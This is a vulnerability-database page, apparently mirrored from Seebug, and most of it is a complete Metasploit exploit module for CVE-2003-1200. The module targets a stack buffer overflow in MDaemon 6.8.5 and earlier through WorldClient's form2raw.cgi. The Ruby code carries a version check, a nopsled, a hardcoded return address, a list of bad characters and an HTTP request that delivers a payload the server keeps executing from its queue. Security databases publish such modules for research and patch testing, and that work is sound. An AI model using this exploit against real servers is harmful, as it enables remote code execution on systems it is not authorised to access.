Lucene search
K

MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow - Exploits a stack buffer overflow in Alt-N MDaemon SMTP server for versions 6.8.5 and earlier, causing a crash or payload execution until manually deleted

Code

                                                ##
# $Id: mdaemon_worldclient_form2raw.rb 9653 2010-07-01 23:33:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;


class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;		=&#62; &#39;MDaemon &#60;= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow&#39;,
			&#39;Description&#39;	=&#62; %q{
			This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for
			versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),
			a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,
			by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),
			the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based
			overflow occurs when an excessively long From field is specified.
			The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.
			Keep this in mind when choosing payloads or setting WfsDelay... You&#39;ll need to wait.

			Furthermore, this exploit uses a direct memory jump into a nopsled (which isn&#39;t very
			reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will
			continue to crash/execute the payload until the CGI output is manually deleted
			from the queue in C:\MDaemon\RawFiles\*.raw.
			},
			&#39;Author&#39; 	=&#62; [ &#39;patrick&#39; ],
			&#39;Arch&#39;		=&#62; [ ARCH_X86 ],
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Version&#39;       =&#62; &#39;$Revision: 9653 $&#39;,
			&#39;References&#39;    =&#62;
			[
				[ &#39;CVE&#39;, &#39;2003-1200&#39; ],
				[ &#39;OSVDB&#39;, &#39;3255&#39; ],
				[ &#39;BID&#39;, &#39;9317&#39; ],
			],
			&#39;Privileged&#39;		=&#62; true,
			&#39;DefaultOptions&#39;	=&#62;
			{
				&#39;EXITFUNC&#39;	=&#62; &#39;thread&#39;,
			},
			&#39;Payload&#39;		=&#62;
				{
					&#39;Space&#39;			=&#62; 900,
					&#39;BadChars&#39; 		=&#62; &#34;\x00\x0a\x0d%\x20@&#60;&#62;&?|,;=`()${}\#!~\&#34;\xff\/\\&#34;,
					&#39;StackAdjustment&#39; 	=&#62; -3500,
				},
			&#39;Platform&#39; =&#62; [&#39;win&#39;],
			&#39;Targets&#39;  =&#62;
			[
				# Patrickw - Tested OK-ish 20090702 w2k
				[ &#39;Universal MDaemon.exe&#39;, 	{ &#39;Ret&#39; =&#62; 0x022fcd46 } ], # direct memory jump :(
				[ &#39;Debugging test&#39;,		{ &#39;Ret&#39; =&#62; 0x44434241 } ],
			],
			&#39;DisclosureDate&#39; =&#62; &#39;Dec 29 2003&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))

			register_options(
			[
				Opt::RPORT(3000),
			],self.class)
	end

	def check
		connect
		sock.put(&#34;GET / HTTP/1.0\r\n\r\n&#34;)
		banner = sock.get(-1,3)
		disconnect

		if (banner =~ /WDaemon\/6\.8\.[0-5]/)
			return Exploit::CheckCode::Vulnerable
		end
			return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit = &#34;GET /form2raw.cgi?From=&#34; # Trigger vuln
		sploit &#60;&#60; &#34;\x90&#34; * 242 # We set EIP to the middle of this.
		sploit &#60;&#60; Rex::Arch::X86.jmp_short(61) # Then jump over some junk memory.. 60 is precise but is a badchar.
		sploit &#60;&#60; [target[&#39;Ret&#39;]].pack(&#39;V&#39;) + &#34;c&#34; # Return address, plus 1 byte overwrite for ESP... &#39;c&#39;
		sploit &#60;&#60; &#34;&To=#{Rex::Text.rand_text_alpha(12)}@#{Rex::Text.rand_text_alpha(12)}.#{Rex::Text.rand_text_alpha(3)}&#34;
		sploit &#60;&#60; &#34;&Body=&#34; + &#34;\x90&#34; * 1 # 1 Byte for short jump.
		sploit &#60;&#60; payload.encoded + &#34; HTTP/1.0&#34;

		sock.put(sploit + &#34;\r\n\r\n&#34;)
		res = sock.get(3,3)

		if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
			print_status(&#34;Payload accepted by WorldClient Form2Raw CGI!&#34;)
			print_status(&#34;Wait for the Raw Queue to be processed (1 to 60 minutes).&#34;)
		else
			print_status(&#34;Message not accepted. Vulnerable target?&#34;)
		end

		handler
		disconnect
	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation